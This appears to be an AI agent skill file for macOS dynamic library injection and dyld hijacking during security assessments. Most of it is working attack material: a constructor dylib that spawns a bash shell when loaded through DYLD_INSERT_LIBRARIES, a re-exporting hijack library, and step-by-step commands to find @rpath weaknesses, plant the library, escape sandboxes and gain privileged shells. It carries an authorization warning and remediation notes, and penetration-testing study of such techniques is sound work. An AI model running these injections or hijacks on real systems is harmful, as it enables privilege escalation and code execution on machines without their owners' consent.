| name | macos-dyld-hijacking |
| description | macOS dynamic library injection and dyld hijacking for security testing. Use this skill when analyzing macOS binaries for privilege escalation, checking for disabled library validation, exploiting @rpath vulnerabilities, or performing DYLD_INSERT_LIBRARIES attacks. Trigger when the user mentions macOS security testing, binary analysis, library injection, dyld hijacking, or privilege escalation on macOS systems. |
macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
A skill for performing dynamic library injection attacks on macOS systems during security assessments and privilege escalation scenarios.
When to Use This Skill
Use this skill when:
- Analyzing macOS binaries for library loading vulnerabilities
- Testing for disabled library validation (com.apple.security.cs.disable-library-validation)
- Exploiting @rpath-based library loading weaknesses
- Performing DYLD_INSERT_LIBRARIES injection attacks
- Conducting macOS privilege escalation assessments
- Investigating binary security configurations
Prerequisites
- macOS system with appropriate permissions
- Xcode Command Line Tools installed (
xcode-select --install)
- Target binary or application to analyze
- Legal authorization to test the target system
Safety Warning
⚠️ This skill is for authorized security testing only. Unauthorized use of these techniques may violate laws and terms of service. Always obtain written permission before testing any system.
Technique 1: DYLD_INSERT_LIBRARIES Injection
Basic Injection Example
Create a malicious dynamic library that executes when loaded:
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
}
Compile the injection library:
gcc -dynamiclib -o inject.dylib inject.c
Execute the target binary with injection:
DYLD_INSERT_LIBRARIES=./inject.dylib ./target_binary
Using the Helper Script
./scripts/create_injection_library.sh --output inject.dylib --action "execv /bin/bash"
Technique 2: Dyld Hijacking via @rpath
Step 1: Check for Vulnerable Binaries
Use the helper script to analyze a binary:
./scripts/check_dyld_vulnerability.sh /path/to/binary
Or manually check entitlements:
codesign -dv --entitlements :- "/path/to/binary"
Look for com.apple.security.cs.disable-library-validation - this indicates the binary doesn't validate loaded library signatures.
Step 2: Identify @rpath Locations
otool -l "/path/to/binary" | grep LC_RPATH -A 2
Step 3: Find Loaded Libraries
otool -l "/path/to/binary" | grep "@rpath" -A 3
Step 4: Locate Missing Libraries
find /path/to/app -name "libname.dylib"
If a library is referenced but doesn't exist in the first @rpath location, it's vulnerable to hijacking.
Step 5: Create Hijacking Library
Create a library that reexports the legitimate library while executing custom code:
#import <Foundation/Foundation.h>
__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}
Compile with matching versions:
gcc -dynamiclib \
-current_version 1.0 \
-compatibility_version 1.0 \
-framework Foundation \
/tmp/lib.m \
-Wl,-reexport_library,"/path/to/legit/lib.dylib" \
-o "/tmp/lib.dylib"
Step 6: Fix Reexport Path
The reexport path may be relative - convert to absolute:
otool -l /tmp/lib.dylib | grep REEXPORT -A 2
install_name_tool -change @rpath/lib.dylib \
"/absolute/path/to/legit/lib.dylib" \
/tmp/lib.dylib
Step 7: Deploy and Test
cp lib.dylib "/path/to/vulnerable/location/lib.dylib"
/path/to/binary
Technique 3: Monitoring Library Loading Events
Monitor when injected libraries are loaded across the system:
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
Or use the helper script:
./scripts/monitor_dyld_events.sh "dylib"
Common Scenarios
Scenario 1: Testing App Sandbox Escape
- Identify app with disabled library validation
- Find @rpath vulnerabilities
- Create hijacking library with sandbox escape payload
- Deploy and test
Scenario 2: Privilege Escalation via Helper Tools
- Find privileged binaries (setuid, launchd agents)
- Check for library validation bypass
- Inject library to spawn privileged shell
Scenario 3: Malware Analysis
- Analyze suspicious binaries for @rpath usage
- Check if they're vulnerable to hijacking
- Document attack surface
Verification Checklist
Before attempting injection:
Troubleshooting
Library Not Loading
- Check entitlements again with
codesign -dv --entitlements :-
- Verify @rpath locations with
otool -l
- Ensure library versions match (
-current_version and -compatibility_version)
- Check file permissions on the library
Injection Fails
- DYLD_INSERT_LIBRARIES may be blocked by System Integrity Protection (SIP)
- Some binaries explicitly check for DYLD_INSERT_LIBRARIES
- Try dyld hijacking instead if injection is blocked
Permission Denied
- You may need to modify the app bundle permissions
- For system binaries, you may need to disable SIP (not recommended for production)
References
Next Steps
After successful injection:
- Document the vulnerability with proof of concept
- Assess impact on system security
- Recommend remediation (enable library validation, fix @rpath usage)
- Test remediation effectiveness